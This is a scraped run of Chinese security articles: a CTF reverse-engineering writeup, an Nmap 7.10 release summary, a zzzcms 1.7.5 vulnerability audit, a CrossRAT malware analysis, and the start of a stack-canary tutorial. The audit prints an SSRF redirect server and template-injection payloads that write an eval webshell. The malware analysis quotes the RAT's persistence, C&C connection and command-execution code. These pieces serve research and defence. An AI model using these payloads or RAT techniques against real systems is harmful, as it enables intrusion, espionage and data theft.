-- function num : 0_0 , upvalues : band, shr, shl
return band(shr(v, from), shl(1, width) - 1)
end
end
else
do
if _G._VERSION == "Lua 5.1" then
extract = function(v, from, width)
-- function num : 0_1
local w = 0
local flag = 2 ^ from
for i = 0, width - 1 do
local flag2 = flag + flag
if flag <= v % flag2 then
w = w + 2 ^ i
end
flag = flag2
end
return w
end
else
extract = (load("return function( v, from, width )\n\t\t\treturn ( v >> from ) & ((1 << width) - 1)\n\t\tend"))()
end
base64.makeencoder = function(s62, s63, spad)
-- function num : 0_2 , upvalues : _ENV
local encoder = {}
for b64code,char in pairs({"B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", s62 or "+", s63 or "/", spad or "="; [0] = "A"}) do
encoder[b64code] = char:byte()
end
return encoder
end
base64.makedecoder = function(s62, s63, spad)
-- function num : 0_3 , upvalues : _ENV, base64
local decoder = {}
for b64code,charcode in pairs((base64.makeencoder)(s62, s63, spad)) do
decoder[charcode] = b64code
end
return decoder
end
local DEFAULT_ENCODER = (base64.makeencoder)()
local DEFAULT_DECODER = (base64.makedecoder)()
local char, concat = string.char, table.concat
base64.encode = function(str, encoder, usecaching)
-- function num : 0_4 , upvalues : DEFAULT_ENCODER, char, extract, concat
if not encoder then
encoder = DEFAULT_ENCODER
end
local t, k, n = {}, 1, #str
local lastn = n % 3
local cache = {}
for i = 1, n - lastn, 3 do
local a, b, c = str:byte(i, i + 2)
local v = a * 65536 + b * 256 + c
local s = nil
if usecaching then
s = cache[v]
if not s then
s = char(encoder[extract(v, 18, 6)], encoder[extract(v, 12, 6)], encoder[extract(v, 6, 6)], encoder[extract(v, 0, 6)])
cache[v] = s
end
else
s = char(encoder[extract(v, 18, 6)], encoder[extract(v, 12, 6)], encoder[extract(v, 6, 6)], encoder[extract(v, 0, 6)])
end
t[k] = s
k = k + 1
end
if lastn == 2 then
local a, b = str:byte(n - 1, n)
local v = a * 65536 + b * 256
t[k] = char(encoder[extract(v, 18, 6)], encoder[extract(v, 12, 6)], encoder[extract(v, 6, 6)], encoder[64])
else
do
do
if lastn == 1 then
local v = str:byte(n) * 65536
t[k] = char(encoder[extract(v, 18, 6)], encoder[extract(v, 12, 6)], encoder[64], encoder[64])
end
return concat(t)
end
end
end
end
base64.decode = function(b64, decoder, usecaching)
-- function num : 0_5 , upvalues : DEFAULT_DECODER, _ENV, char, extract, concat
if not decoder then
decoder = DEFAULT_DECODER
end
local pattern = "[^%w%+%/%=]"
do
if decoder then
local s62, s63 = nil, nil
for charcode,b64code in pairs(decoder) do
if b64code == 62 then
s62 = charcode
else
if b64code == 63 then
s63 = charcode
end
end
end
pattern = ("[^%%w%%%s%%%s%%=]"):format(char(s62), char(s63))
end
b64 = b64:gsub(pattern, "")
if usecaching then
local cache = {}
end
local t, k = {}, 1
local n = #b64
local padding = (b64:sub(-2) == "==" and 2) or (b64:sub(-1) == "=" and 1) or 0
for i = 1, padding > 0 and n - 4 or n, 4 do
local a, b, c, d = b64:byte(i, i + 3)
local s = nil
if usecaching then
local v0 = a * 16777216 + b * 65536 + c * 256 + d
s = cache[v0]
if not s then
local v = decoder[a] * 262144 + decoder[b] * 4096 + decoder[c] * 64 + decoder[d]
s = char(extract(v, 16, 8), extract(v, 8, 8), extract(v, 0, 8))
cache[v0] = s
end
else
do
do
do
local v = decoder[a] * 262144 + decoder[b] * 4096 + decoder[c] * 64 + decoder[d]
s = char(extract(v, 16, 8), extract(v, 8, 8), extract(v, 0, 8))
t[k] = s
k = k + 1
-- DECOMPILER ERROR at PC143: LeaveBlock: unexpected jumping out DO_STMT
-- DECOMPILER ERROR at PC143: LeaveBlock: unexpected jumping out DO_STMT
-- DECOMPILER ERROR at PC143: LeaveBlock: unexpected jumping out IF_ELSE_STMT
-- DECOMPILER ERROR at PC143: LeaveBlock: unexpected jumping out IF_STMT
end
end
end
end
end
if padding == 1 then
local a, b, c = b64:byte(n - 3, n - 1)
local v = decoder[a] * 262144 + decoder[b] * 4096 + decoder[c] * 64
t[k] = char(extract(v, 16, 8), extract(v, 8, 8))
else
do
if padding == 2 then
local a, b = b64:byte(n - 3, n - 2)
local v = decoder[a] * 262144 + decoder[b] * 4096
t[k] = char(extract(v, 16, 8))
end
do
return concat(t)
end
end
end
end
end
local strf = string.format
local byte, char = string.byte, string.char
local spack, sunpack = string.pack, string.unpack
local app, concat = table.insert, table.concat
local stohex = function(s, ln, sep)
-- function num : 0_6 , upvalues : strf, byte, concat
if #s == 0 then
return ""
end
if not ln then
return s:gsub(".", function(c)
-- function num : 0_6_0 , upvalues : strf, byte
return strf("%02x", byte(c))
end
)
end
if not sep then
sep = ""
end
local t = {}
for i = 1, #s - 1 do
t[#t + 1] = strf("%02x%s", s:byte(i), i % ln == 0 and "\n" or sep)
end
t[#t + 1] = strf("%02x", s:byte(#s))
return concat(t)
end
local hextos = function(hs, unsafe)
-- function num : 0_7 , upvalues : _ENV, char
local tonumber = tonumber
if not unsafe then
hs = (string.gsub)(hs, "%s+", "")
if (string.find)(hs, "[^0-9A-Za-z]") or #hs % 2 ~= 0 then
error("invalid hex string")
end
end
return hs:gsub("(%x%x)", function(c)
-- function num : 0_7_0 , upvalues : char, tonumber
return char(tonumber(c, 16))
end
)
end
local stx = stohex
local xts = hextos
local ROUNDS = 64
local keysetup = function(key)
-- function num : 0_8 , upvalues : _ENV, sunpack, ROUNDS
assert(#key == 16)
local kt = {0, 0, 0, 0}
kt[1] = sunpack(">I4I4I4I4", key)
local skt0 = {}
local skt1 = {}
local sum, delta = 0, 2654435769
for i = 1, ROUNDS do
skt0[i] = sum + kt[(sum & 3) + 1]
sum = sum + delta & 4294967295
skt1[i] = (sum) + kt[((sum) >> 11 & 3) + 1]
end
do return {skt0 = skt0, skt1 = skt1} end
-- DECOMPILER ERROR: 1 unprocessed JMP targets
end
local encrypt_u64 = function(st, bu)
-- function num : 0_9 , upvalues : ROUNDS
local skt0, skt1 = st.skt0, st.skt1
local v0, v1 = bu >> 32, bu & 4294967295
local sum, delta = 0, 2654435769
for i = 1, ROUNDS do
v0 = v0 + ((v1 << 4 ~ v1 >> 5) + v1 ~ skt0[i]) & 4294967295
v1 = v1 + (((v0) << 4 ~ (v0) >> 5) + (v0) ~ skt1[i]) & 4294967295
end
bu = (v0) << 32 | v1
return bu
end
local enc = function(key, iv, itxt)
-- function num : 0_10 , upvalues : _ENV, sunpack, keysetup, encrypt_u64, spack, app, concat
assert(#key == 16, "bad key length")
assert(#iv == 8, "bad IV length")
if #itxt == 0 then
return ""
end
local ivu = sunpack("<I8", iv)
local ot = {}
local rbn = #itxt
local ksu, ibu, ob = nil, nil, nil
local st = keysetup(key)
for i = 1, #itxt, 8 do
ksu = encrypt_u64(st, ivu ~ i)
if rbn < 8 then
local buffer = (string.sub)(itxt, i) .. (string.rep)("\000", 8 - rbn)
ibu = sunpack("<I8", buffer)
ob = (string.sub)(spack("<I8", ibu ~ ksu), 1, rbn)
else
ibu = sunpack("<I8", itxt, i)
ob = spack("<I8", ibu ~ ksu)
rbn = rbn - 8
end
app(ot, ob)
end
do return concat(ot) end
-- DECOMPILER ERROR: 5 unprocessed JMP targets
end
check_login = function(username, password)
-- function num : 0_11 , upvalues : base64, enc
local encoded = (base64.encode)(username)
if encoded ~= "TDNIX1NlYw==" then
return false
end
username = username .. "!@#$%^&*("
local x = (base64.encode)(enc(username, "1qazxsw2", password))
if x == "LKq2dSc30DKJo99bsFgTkQM9dor1gLl2rejdnkw2MBpOud+38vFkCCF13qY=" then
return true
end
return false
end
end
end
end
读代码发现enc函数只是固定值异或明文，所以将密文加密一次即可解密。将enc前的local去掉，最后添加一行：
print(enc("L3H_Sec!@#$%^&*(", "1qazxsw2", ",\xaa\xb6u'7\xd02\x89\xa3\xdf[\xb0X\x13\x91\x03=v\x8a\xf5\x80\xb9v\xad\xe8\xdd\x9eL60\x1aN\xb9\xdf\xb7\xf2\xf1d\x08!u\xde\xa6"))
运行后输出乱码，读代码时就觉得有个地方很奇怪，是`keysetup`中的这行：
kt[1] = sunpack(">I4I4I4I4", key)
应该是`luadec`反编译出错了，将其改为：
kt[1], kt[2], kt[3], kt[4] = sunpack(">I4I4I4I4", key)
运行脚本，得到flag：
`L3HCTF{20807a82-fcd7-4947-841e-db4dfe95be3e}`
## 总结
题目总体较难，中途不止一次被卡住，还要多学习。 | 社区文章 |
# nmap 7.10发行(增加了12个新的脚本&bug修复&增加os识别)
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://seclists.org/nmap-announce/2016/1>
译文仅供参考，具体内容表达以及含义原文为准。
**本次发行Namp
7.10在以往的版本基础上进行了很大改进！新增12个的NSE脚本，上百个OS系统和版本指纹识别，当然也有一些小细节改进以及Bug修复。**
源代码和适用于Linux、Windows、Mac系统的安装包可通过以下链接获取：[https://nmap.org/download.html](https://nmap.org/download.html)
**Namp的7.10版本中更新情况：**
1\. 新增12个NSE脚本，NSE脚本总数达到527。
2\. 新增HTTP- Apache应用状态解析脚本。
3\. Allegro RomPager（嵌入式Web服务器工具集，广泛运用于多个厂商的宽带路由器中）CVE-2013-06786
中XSS和URL重定向漏洞探测模块，并增加针对CVE-2014-4019漏洞检测的指纹识别。
4\. HTTP-CVE-2014-3704探测模块以及一枚Durpal中需要预身份验证的SQL注入利用模块。
5\. 针对IMAP服务所使用的NTLM身份认证主机名和系统版本探测。
6\. IPV6组播监听列表识别，其订阅Mac地址可被解码并可列出扫描到的监听列表。
7\. 可通过NTLM质询信息识别MS SQL 服务器主机名和系统版本。
8\. NTLM身份认证NNTP服务主机以及OS系统版本识别。
9\. NTLM身份认证POP3服务主机以及OS系统版本识别。
10\. 通过shodan-api接口查询开放端口以及服务启用列表。
11\. NTLM身份认证Telnet服务主机以及OS系统版本识别
12\. 新增104个基于IPV4系统指纹识别，指纹识别总数达5089个，包含了linux4.2和Win10以及IBM i7等指纹识别。
13\.
应用服务和版本指纹探测(508)，应用信息签名识别数量新增数量占2.2%，总数达10532，目前可检测1108种协议（从icy到指纹，从rtsp到ipfs）。
14\. 新增属于三个识别分类的12个ipv6系统指纹识别， 包括专门探测OSX系统而新增的一个识别类型，新增总数达96种。
15\.
升级了http表单爆破(包含Django，Wordpress，MediaWiki，Joomla等的通用登录表单)，可绕过CSRF保护和cookies验证。
16\. 可获取到ZenMap之前扫描到Window主机地理位置信息。
17\. 新增CORBA GIOP服务探测。
18\.
修复了FreeBSD系统中路由掩码地址的bug。使用IPV6地址的路由默认虽是包含32位掩码地址，Namp之前版本中忽视了实际配置的掩码位数而导致无法将数据包路由出去。
19\. 出现使用错误时会给出选项配置错误信息或在一些情况中给出用法提示。因选项概要变得非常长，需要用户自己滚动光标寻找错误信息。
20\.
避免了在Window用户使用Zenmap使用慢扫描情况下的系统崩溃。修复了在OpenSSL出现未知错误的情况下，其错误提示系统变量会返回NULL，而导致的无法打印%s格式变量。
21\. 修复了在Windows中使用Zenmap的时候无法复制和粘贴的bug。
22\. 改变了包含于RFC3927的保留和私有IP地址以及移除了6/8和7/8和55/8网络。新增了判断目标ip是否属于私有ip的函数，可通过过滤-iR随机生成扫描目标。如果用户想避免这些问题可通过自定义方式或从文件中导入名单。
23\. 通过-4选项指定通过ipv4协议进行扫描（这本就是其默认扫描方式），但却可以让Nmap通过更加精确的方式对目标进行探测。
24\. 使用-v0选项Nmap就不会回显中间信息而只返回最后的扫描结果。
25\.
根据Mozilla规范草案，修复了在SSLV2中SSL2_RC2_128_CBC_WITH_MD5以及SSL2_RC2_128_CBC_EXPORT40_WITH_MD5中命名问题。
26\. 增加ＳＴＡＲＴ ＴＬＳ支持，以便对ＳＳＬＶ２服务探测，方便针对对ＳＳＬＶ２和ＤＲＯＷＮ（ＣＶＥ－２０１６－０８００）进行漏洞探测。
27\. 增加了对RICOH ＷＥＢ图片监控和ＢｅＥＦ Ｗｅｂ默认用户的登录检测。
28\. 新增了针对ＩＣＭＰ包的数据包跟踪查看，根据数据包返回偏移量来判断数据包整个流向。
29\. 新增对ＤＨＣＰ选项“ＴＦＴＰ （服务器名）”以及＂启动文件名＂，默认可检查６１种情况。
30\. 当主机文件系统不允许缓存的时候不可请求远程ＩＡＮＡ分配的数据文件。
31\. 更新了针对ｐｈｐ版本的识别，覆盖了从ＰＨＰ ４．１．０到
ＰＨＰ５．４．４５版本识别，可通过ｓｈｏｄａｎ接口中获取到几千台使用ＰＨＰ的ＷＥＢ服务器信息。
32\. 像其他扫描类型一样，可为ＦＴＰ使用相同的扫描进程进行反弹扫描，通过――ｓｔａｔｓ－ｅｖｅｒｙ或者按键来定期更新扫描状态。
33\. 在ＯｐｅｎＢＳＤ上设置了更短的超时时间，以便使用ＢＰＦ捕获数据包。同时修复了ＯｐｅｎＢＳＤ端口管理问题。
34\. 探测到ＳＳＬ服务信息未知的时候，默认是不会打印出来。
35\. 修复了多个扫描信息备份问题。 | 社区文章 |
#### 0x01 前言
本文是对zzzcms
php版v1.7.5进行审计的分享（勉强称之为0day），审计目标是从前台到后台再到任意代码执行。对于zzzcms的分析和审计文章也不少了，但是一些文章分析的内容和漏洞点在v1.7.5版本已经进行了修复，因此本文在此基础上进一步进行审计和分析，以挖掘更多的内容。
#### 0x02 SSRF(凑数)
存在这个问题的接口主要功能是远程下载保存图片，但是后缀限制死了，因此远程下载webshell的目的应该是达不到了，退而求其次也可以作为SSRF利用，比如需要获取目标主机的真实IP地址的场景下。
功能实现在
plugins/ueditor/php/controller.php
传入的post参数进入safe_url函数进行处理，然后传入down_url函数。这里safe_url函数作用不大，主要是在down_url中的逻辑。
在down_url函数逻辑中根据url获取了保存的文件名和后缀，并且进行了文件名后缀的白名单限制和检测。
最后通过readfile进行远程资源获取（本地也可以，支持file协议），这里通过file_ext函数传入`http://XXXX/x.php?x.jpg`得到的文件名后缀仍然是php，对问号进行了处理，因此利用SSRF达到任意地址访问需要利用301/302跳转实现，本地搭建一个提供跳转的http服务器，然后进行访问：
from flask import Flask,redirect,request
app = Flask(__name__)
@app.route('/1.txt')
def index(page_name=''):
#return redirect('file:///etc/passwd', code=301) #not work
return redirect('http://www.net.cn/static/customercare/yourip.asp', code=301)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=9000, debug=app.debug)
#### 0x03 前台Sql注入
逐渐进入正题，1.7.5的一个前台注入点在之前一篇先知的文章中已经有介绍到了，是通过利用inc/zzz_client.php的ParseGlobal函数中对参数过滤不严格导致的一处注入，具体内容可以细读该文：
<https://xz.aliyun.com/t/6942>
本文将介绍挖掘的另外一处较为隐蔽的注入点，并且构造payload过程不需要考虑任何过滤带来的影响，因为真正构成注入的用户输入部分根本没有被传入到任何过滤函数中。
注入点的入口在plugins\sms\sms_list.php文件中，
其中id参数是用户post输入的参数，并且在第7行中调用了db_delete去删除指定id的数据，进入db_delete函数后可以看到函数本身并不长，逻辑还是较为清晰的。
在获取到代表着数据库连接的\$d后开始处理传入的\$where条件变量，接着调用db_cond_to_sqladd函数后传入db_exec进行sql语句的执行过程。
这里继续看db_cond_to_sqladd函数部分，该函数代码部分比较长（70行），但只需要着重看其中几个处理分支即可。注入点传入的条件变量是数组，自然进入下面的第一个红框控制流中。接着，假如传入的参数id也是数组并且不存在key为0的元素，那么会进入第二个红框控制流中。
关键点在于第三个红框的控制流中，作为键名key的\$k1直接拼接到了条件语句中。
在代码中加入sql语句回显进行测试，当我们传入如下post的id后，返回的sql语句如下所示，已经形成可以利用的SQL注入点了：
利用BENCHMARK函数可以直接构造exp利用时间盲注得到数据库信息。
#### 0x04 后台地址泄露
存在一个比较奇葩的文件直接将一些属于不可访问的zzz_config.php的内容直接给回显了，该信息泄露文件位于plugins\webuploader\js\webconfig.php，可以直接获取到管理后台的管理路径名称，再也不用去爆破admin加3位数字了
#### 0x05 后台RCE
后台RCE部分参考了v1.7.3版本的CVE-2019-17408和文章
<https://xz.aliyun.com/t/4471>
漏洞数据流动和触发函数主要是parserIfLabel，具体可以参考文章内容，该部分在v1.7.5中尝试进行了修补和过滤，但是仍然存在过滤不严格的情况。之前的利用payload主要有:
1、{if:assert($_request[phpinfo()])}phpinfo();{end if}
2、{if:1=1);file_put_contents(strtr("1.p*p", "*", "h"),strtr('<?*h* ', "*", "p").strtr('ev*l(', "*", "a").hex2bin('24').strtr('_P*ST[1]);', "*", "O"));//} {end if}
但是在v1.7.5版本中加入了更多的过滤，因此旧的payload已经失效
黑名单的方法总是存在一些纰漏的，这里也不例外，笔者在这里就不直接点明了（配合前面漏洞，通杀警告），感兴趣的朋友可以对照黑名单再尝试一下绕过。
#### 0x06 相关文章
<https://xz.aliyun.com/t/7239>
<https://xz.aliyun.com/t/6942>
<https://xz.aliyun.com/t/6916>
<https://xz.aliyun.com/t/4471> | 社区文章 |
# 分析一款全球网络间谍活动中的跨平台恶意软件-CrossRAT（下）
|
##### 译文声明
本文是翻译文章，文章原作者 objective-see，文章来源：objective-see.com
原文地址：<https://objective-see.com/blog/blog_0x28.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 写在前面的话
本系列文章将跟大家介绍一款名叫CrossRAT的跨平台恶意软件，该工具可以针对Windows、macOS以及Linux这三大操作系统实施攻击。在本系列文章中的上集，我们给大家简单介绍了CrossRAT中’a’数据包（操作系统检测）以及‘b’数据包（持久化感染）的功能。接下来，我们将跟大家介绍CrossRAT中剩下的数据包功能以及恶意软件的核心逻辑。
## 继续分析
了解了CrossRAT中’a’数据包（操作系统检测）以及‘b’数据包（持久化感染）的功能之后，我们接下来讨论一下’org’数据包的功能，并深入分析这款恶意软件的核心逻辑。
org’数据包中包含了’a.a.a.’和’jnativehook’这两个数据包。通过对’a.a.a’数据包中的多个类文件进行分析之后，我们发现这个数据包中包含的代码主要负责进行文件的I/O操作。比如说，’a.a.a/b.class’中有如下所示的字符串数据：
$ strings - strings - src/org/a/a/a/b.class
does not exist
is not a directory
to a subdirectory of itself
already exists
cannot be written to
directory cannot be created
does not exist
exists but is a directory
exists but is read-only
Cannot move directory:
Destination must not be null
Failed to copy full contents from
Failed to delete original directory
Failed to list contents of
File does not exist:
Unable to delete file:
很明显，这部分代码将允许远程攻击者直接与受感染系统中的文件系统进行交互，并修改文件内容，这一点我们也可以直接从恶意软件代码中了解到。我们一起看一看’a.a.a/b.class’中的’a’方法，这个方法可以拷贝一个文件，并根据可选参数来对目标源文件进行修改：
private static void a(File paramFile1, File paramFile2, boolean paramBoolean)
{
if ((paramFile2.exists()) && (paramFile2.isDirectory())) {
throw new IOException(“Destination ‘“ + paramFile2 + “‘ exists but is a directory”);
}
….
try
{
localFileInputStream = new FileInputStream(paramFile1);
localFileOutputStream = new FileOutputStream(paramFile2);
localFileChannel1 = localFileInputStream.getChannel();
localFileChannel2 = localFileOutputStream.getChannel();
l1 = localFileChannel1.size();
long l5;
for (l2 = 0L; l2 < l1; l2 += l5)
{
long l4;
long l3 = (l4 = l1 - l2) > 31457280L ? 31457280L : l4;
if ((l5 = localFileChannel2.transferFrom(localFileChannel1, l2, l3)) == 0L) {
break;
}
}
...
}
...
long l1 = paramFile1.length();
long l2 = paramFile2.length();
if (l1 != l2) {
throw new IOException("Failed to copy full contents from '" + paramFile1 + "' to '" +
paramFile2 + "' Expected length: " + l1 + " Actual: " + l2);
}
if(paramBoolean) {
paramFile2.setLastModified(paramFile1.lastModified());
}
}
‘org’数据包中的另一个数据包名叫’jnativehook’，如果你在搜索引擎中搜索关于这个数据包的内容，你就会发现这其实是
一个开源的Java代码库，该项目的GitHub地址在这里：【jnativehook】
正如该项目作者所介绍的那样，该项目可以给Java程序提供一种键盘以及鼠标的全局监听器。这种功能无法在顶层Java代码中实现，因此这个代码库利用了独立于平台的本地代码来创建底层系统级的钩子，然后将鼠标和键盘点击事件发送给你的应用程序。鼠标以及键盘记录功能对于网络间谍工具来说肯定是非常重要的，这一点毫无疑问。但是，我并没有在这款恶意软件中发现有任何代码调用过’jnativehook’这个数据包，所以目前来说CrossRAT貌似还没有开始使用这个功能，我们也只能这样假设了。我们所分析的这个CrossRAT恶意软件样本当前版本号为v0.1，这可能意味着这款恶意软件仍然处于开发过程中，所以还有很多功能不够完善。
接下来，我们一起深入分析一下CrossRAT的核心逻辑。
## CrossRAT的核心逻辑
这款恶意软件的主要核心逻辑实现在crossrat/client.class文件中。实际上，这个类文件中还包含了恶意软件的主入口点（public static
`void main(String args[])）：
grep -R main hmar6.jar/*
crossrat/client.jad: public static void main(String args[])`
当恶意软件开始执行之后，将会调用这个main方法。调用之后，它将会执行以下任务：
1. 如果有必要的话，会根据目标操作系统来执行特定的持久化感染安装；
2. 检查远程C&C服务器的命令；
3. 执行远程C&C服务器发送过来的任何指令任务；
首秀按，这款恶意软件会在目标主机中进行安装，并实现持久化感染。正如之前所介绍的那样，这种逻辑是操作系统指定型的，在设置持久化感染之前（例如注册表键和Launch
Agent plist等等），恶意软件需要将自身文件（例如mediamgrs.jar）拷贝到特定位置。我在下方代码中添加了注释：
public static void main(String args[])
{
Object obj;
supportedSystems = c.b();String tempDirectory;
//get temp directory
s = System.getProperty(s = “java.io.tmpdir”);
installDir = “”;
//Windows?
// build path to Windows install directory (temp directory)
if(supportedSystems.a() == c.a)
{
installDir = (new StringBuilder(String.valueOf(s)))
.append("\").toString();
}
//Mac?
// build path to Mac install directory (~/Library)
else if(supportedSystems.a() == c.b)
{
userHome = System.getProperty("user.home");
installDir = (new StringBuilder(String.valueOf(userHome)))
.append("/Library/").toString();
}
//Linux, etc?
// build path to Linux, etc install directory (/usr/var/)
else
{
installDir = "/usr/var/";
}
…在上面的代码中，一旦动态创建完成安装目录的路径之后，恶意软件便会将自身文件(mediamgrs.jar)拷贝到这个安装目录之中：
public static void main(String args[])
{
…
//build full path and instantiate file obj
installFileObj = new File(installDir + “mediamgrs.jar”);
//copy self to persistent location
org.a.a.a.b.a(((File) (selfAsFile)), installFileObj);
…通过使用fs_usage命令，我们可以观察到这份文件的拷贝以及更新时间，而拷贝文件跟源文件是完全一模一样的：
# fsusage -w -f filesystem
open F=7 (R__) /Users/user/Desktop/hmar6.jar java.125131
lseek F=7 O=0x00000000 java.125131
open F=8 (WC_T) /Users/user/Library/mediamgrs.jar java.125131
pwrite F=8 B=0x3654f O=0x00000000 java.125131
close F=8 0.000138 java.125131
utimes /Users/user/Library/mediamgrs.jar java.125131
ls -lart /Users/user/Library/mediamgrs.jar
-rw-r—r— 1 user staff 222543 Jan 22 18:54 /Users/user/Library/mediamgrs.jar
ls -lart ~/Desktop/hmar6.jar
-rw-r—r— 1 user wheel 222543 Jan 22 18:54 /Users/user/Desktop/hmar6.jar
当恶意软件完成了自身文件的拷贝之后，它将会根据目标系统平台来执行相应的持久化感染逻辑。由于我们的测试环境是一台安装了macOS系统的虚拟机，因此恶意软件将会利用Launch
Agent来实现持久化感染：
public static void main(String args[])
{
…
//persist: Windows
if ((localObject5 = a.c.b()).a() == a.c.a) {
paramArrayOfString = new b.e(paramArrayOfString, (String)localObject4, true);
}
//persist: Mac
else if (((a.a)localObject5).a() == a.c.b) {
paramArrayOfString = new b.c(paramArrayOfString, (String)localObject4, true);
}
//persist: Linux
else if ((((a.a)localObject5).d()) &&
(!GraphicsEnvironment.getLocalGraphicsEnvironment().isHeadlessInstance())) {
paramArrayOfString = new b.d(paramArrayOfString, (String)localObject4, true);
}
...
//error: unknown OS
else {
throw new RuntimeException("Unknown operating system " + ((a.a)localObject5).c());
}…
我们可以直接通过查看文件系统来观察恶意软件的持久化感染情况：
当恶意软件完成了持久化感染之后，它将会尝试连接远程C&C服务器，并检查服务器发送过来的命令。根据EFF/Lookout提供的研究报告，改恶意软件将会尝试连接flexberry.com，通信端口为2223。
其中，远程C&C服务器的信息是硬编码在crossrat/k.class文件中的：
{…//connect to C&C server
Socket socket;
(socket = new Socket(crossrat.k.b, crossrat.k.c)).setSoTimeout(0x1d4c0);
...
当恶意软件从远程C&C服务器那里获取到了操作指令之后，它将会把受感染主机的信息（例如操作系统版本、主机名和用户名等等）发送给攻击者。生成主机信息的代码如下所示：
public static void main(String args[])
{
...
if((k.g = (k.h = Preferences.userRoot()).get("UID", null)) == null)
{
k.g = (k.f = UUID.randomUUID()).toString();
k.h.put("UID", k.g);
}
String s1 = System.getProperty("os.name");
String s2 = System.getProperty("os.version");
args = System.getProperty("user.name");
Object obj1;
obj1 = ((InetAddress) (obj1 = InetAddress.getLocalHost())).getHostName();
obj1 = (new StringBuilder(String.valueOf(args))).append("^")
.append(((String) (obj1))).toString();
...
接下来，恶意软件会对C&C服务器返回的响应信息进行解析，然后寻找攻击者发送过来的命令并尝试执行。
现在，你可能会想知道这款恶意软件到底会做哪些事情！也就是说，它到底有什么功能？幸运的是，EFF/Lookout的研究报告已经给我们提供了很多细节信息了。下面是报告中所介绍的crossrat/k.class部分代码，其中包含了CrossRAT的任务值：
// Server command prefixes
public static String m = "@0000"; // Enumerate root directories on the system. 0 args
public static String n = "@0001"; // Enumerate files on the system. 1 arg
public static String o = "@0002"; // Create blank file on system. 1 arg
public static String p = "@0003"; // Copy File. 2 args
public static String q = "@0004"; // Move file. 2 args
public static String r = "@0005"; // Write file contents. 4 args
public static String s = "@0006"; // Read file contents. 4 args
public static String t = "@0007"; // Heartbeat request. 0 args
public static String u = "@0008"; // Get screenshot. 0 args
public static String v = "@0009"; // Run a DLL 1 arg
使用了这些任务值的代码可以在crossrat/client.class文件中找到，正如之前所介绍的那样，恶意软件会解析C&C服务器所返回的响应数据，并根据命令进行操作：
public static void main(String args[])
{
…
//enum root directories
if((args1 = args.split((new StringBuilder("\"))
.append(crossrat.k.d).toString()))[0].equals(k.m))
{
new crossrat.e();
crossrat.e.a();
f f1;
(f1 = new f()).start();
}
//enum files
else if(args1[0].equals(k.n))
(args = new crossrat.c(args1[1])).start();
//create blank file
else if(args1[0].equals(k.o))
(args = new crossrat.a(args1[1])).start();
//copy file
else if(args1[0].equals(k.p))
(args = new crossrat.b(args1[1], args1[2])).start();
...`
接下来，我们来看看一些更加有趣的命令，比如说截屏和DLL加载。
当恶意软件从远程C&C服务器接收到了字符串”0008” (‘k.u’)之后，代码所创建的对象以及解析过程如下所示：
public static void main(String args[])
{
…
//C&C server addr
public static String b = "flexberry.com";
//C&C server port
public static int c = 2223;
//handle cmd: 0008
// pass in C&C addr/port
else if(args1[0].equals(k.u))
(args = new j(crossrat.k.b, crossrat.k.c)).start();
…上述代码中的’j’对象定义在crossrat/j.class文件之中：
该恶意软件会通过java.awt.Robot().createScreenCapture方法来实现屏幕截图，在将截图文件发送到远程C&C服务器之前，它会把截图文件临时保存在磁盘中（文件名随机，后缀为.jpg）。
另一个有意思的命令是“0009”，当恶意软件从服务器端接收到这个命令之后，它会初始化一个’i’对象，该对象实现在crossrat/i.class文件之中：
当恶意软件在Windows设备上执行时，它将会调用rundll32来加载url.dll文件，并调用自己的FileProtocolHandler方法：
//open a file
Runtime.getRuntime().exec(new String[] {
“rundll32”, “url.dll,FileProtocolHandler”, file.getAbsolutePath()
});
url.dll是一个合法的微软代码库，它可以用来在受感染系统中启动可执行文件。比如说，在Windows平台下，下列代码将会启动计算器程序：
//execute a binary
Runtime.getRuntime().exec(new String[] {
“rundll32”, “url.dll,FileProtocolHandler”, “calc.exe”
});
在除Windows以外的平台上，‘0009’命令将会通过Desktop.getDesktop().open()方法来执行相应的文件：
execute a binary
else if ((locala.a() == c.b) || (locala.a() == c.c)) {
try
{
Desktop.getDesktop().open(localFile);
}
# 总结
在这篇文章中，我们对近期在网络间谍活动中新发现的跨平台恶意软件CrossRAT进行了深入的技术分析。这款恶意软件可以感染多种操作系统平台，而且前的CrossRAT仍是v0.1版本，所以很多功能都还没有完善。因此研究人员认为，完善后的CrossRAT攻击能力将更加强大。
## 问答环节
#### 问题：CrossRAT的主要感染途径是什么？
回答：目前，CrossRAT攻击者主要通过社交媒体平台、网络钓鱼、以及物理访问目标系统（包括硬件设备和软件账号）来实现恶意软件感染。
#### 问题：如何保护自己免受CrossRAT的攻击？
回答：由于CrossRAT是采用Java编程语言开发的，因此它的感染前提就是目标主机中必须安装了Java环境。幸运的是，新版本的macOS已经不会预安装Java环境了，因此绝大多数的macOS用户都应该是安全的。当然了，如果你的系统中安装了Java，或者攻击者强制性在你的计算机中安装了Java的话，你仍然是不安全的，即使是最新版的macOS（High
Sierra）也不例外。
目前绝大多数的反病毒检测系统都无法检测到CrossRAT。Virus
Total的检测率为1/59，这相当于没有。因此，安装反病毒产品并不能保护用户的安全，不过这些工具可以帮助你检测系统中的可疑行为，并判断自己是否受到了感染。
macOS或Linux用户可以使用‘ps’命令来判断自己是否感染了CrossRAT：`
$ ps aux | grep mediamgrs.jar
user 01:51AM /usr/bin/java -jar /Users/user/Library/mediamgrs.jar`
Windows用户可以检查HKCUSoftwareMicrosoftWindowsCurrentVersionRun注册表键来判断感染情况，如果发现了如下命令的话，说明你已经感染了：
`java, -jar and mediamgrs.jar` | 社区文章 |
# 栈溢出之canary泄露与绕过“新方法”
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
前段时间在刷一些基础的pwn，发现自己的基础知识太薄弱了，所以打算按照ctf-wiki开始不断地巩固一下自己的基础。初来乍到，还请各位大佬多多指教啦！
新手入门，有些地方可能讲解的不是很到位，还忘前辈们打脸可以轻点啊~~
## 0x01 前景引入
结合题目，我们先简单的讲解一下栈溢出的原理吧！
### **栈溢出原理：**
